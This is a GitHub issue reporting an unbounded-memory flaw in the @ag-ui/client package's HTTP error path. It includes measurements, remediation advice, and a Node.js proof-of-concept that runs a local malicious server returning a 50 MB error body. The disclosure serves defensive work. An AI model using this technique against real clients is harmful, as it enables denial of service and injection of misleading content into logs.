ag-ui-protocol / ag-ui-protocol/ag-ui

[BUG]: Error responses are read into memory whole: unbounded `e.text()` plus body embedded in the `Error`

未關閉
#2,521 3 則留言 0 個 reaction 已指派 0 人 在 GitHub 檢視
主要語言
Python
星號
15.9k
分支
1.4k
平均合併
1 天 17 小時
30 天內合併 PR
163

描述

# Error responses are read into memory whole: unbounded `e.text()` plus body embedded in the `Error`

Repository: https://github.com/ag-ui-protocol/ag-ui
Affected: `@ag-ui/client` (verified against published npm release 0.0.58)
CWE: CWE-400 / CWE-770 (Allocation of Resources Without Limits)

## Summary

On any non-2xx response, the HTTP transport reads the **entire** error body with `e.text()` — no size cap, no streaming, no timeout beyond the run's abort signal — and then constructs `Error("HTTP : ")`, storing the body again on `error.payload`. The success path streams via `getReader`; only the error path buffers unboundedly. This is the client-side counterpart of the Java server `readAllBytes` finding from the first advisory batch (F-15), in the TypeScript client runtime and on a different code path.

## Affected code

- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, `runHttpRequest` non-ok branch — `e.text()` then `Error("HTTP …: " + body)`; body also stored on `error.payload`

## Observed behavior (measured)

Agent returns `500` with a 50 MB text body:

| observation | result |
|---|---|
| heap growth after one `runAgent` | 46.6 MB |
| full body retained on the error object (`payload === body`) | yes |

## Impact

A malicious endpoint OOMs the client with a single large error body, and the attacker-controlled text travels through `onRunFailed` into application UIs and logs (misleading-content injection / log pollution). Availability plus information-surfacing.

## Suggested remediation

- Read the error body through `getReader` under a byte budget; keep only a truncated preview.
- Build the `Error` message from the status plus a bounded excerpt, never the full body.

## PoC

Prerequisites: Node ≥ 20 with `@ag-ui/client@0.0.58` installed. Run `node poc_f27.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f27.mjs — F-27: unbounded response-body buffering on the HTTP error path.
// runHttpRequest, non-ok branch: e.text() reads the ENTIRE error body into a
// string with no size cap, then embeds it in Error("HTTP : ")
// and stores it on error.payload. A malicious server returns 500 with a large
// body → the whole body is buffered into memory + duplicated into an Error
// message → OOM; and the attacker-controlled body is surfaced via onRunFailed.
// Confirmed if heap grows proportionally to the body (>40 MB for a 50 MB body).
import http from 'node:http';
import { HttpAgent } from '@ag-ui/client';

const BODY = 'X'.repeat(50 * 1024 * 1024); // 50 MB
const evil = http.createServer((req, res) => {
req.resume();
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(BODY);
});
await new Promise(r => evil.listen(0, '127.0.0.1', r));
const port = evil.address().port;

const before = process.memoryUsage().heapUsed;
let caught = null;
const agent = new HttpAgent({ url: `http://127.0.0.1:${port}/` });
agent.onError = { onRunFailed: (e) => { caught = e; } };
try {
await agent.runAgent({ messages: [{ role: 'user', content: 'hi' }] });
} catch (e) { caught = caught || e; }
const after = process.memoryUsage().heapUsed;

const grewMB = +((after - before) / 1048576).toFixed(1);
// core finding: the entire 50MB error body was buffered into the heap (OOM)
// with no cap; the body-in-Error surfacing is a secondary info-disclosure path.
const ok = grewMB > 40;
console.log(JSON.stringify({
finding: 'F-27-error-body-unbounded-buffer',
heap_growth_MB: grewMB,
error_message_length: caught ? String(caught.message || caught).length : 0,
error_payload_is_full_body: caught && caught.payload === BODY,
confirmed: ok,
}, null, 2));
evil.close();
process.exit(ok ? 0 : 1);
```

貢獻指南

開啟貢獻指南

評估

這個 Issue 還沒有評估資料。

把新 issue 寄到你的電子郵件信箱

精選適合新手參與的 GitHub issue 摘要。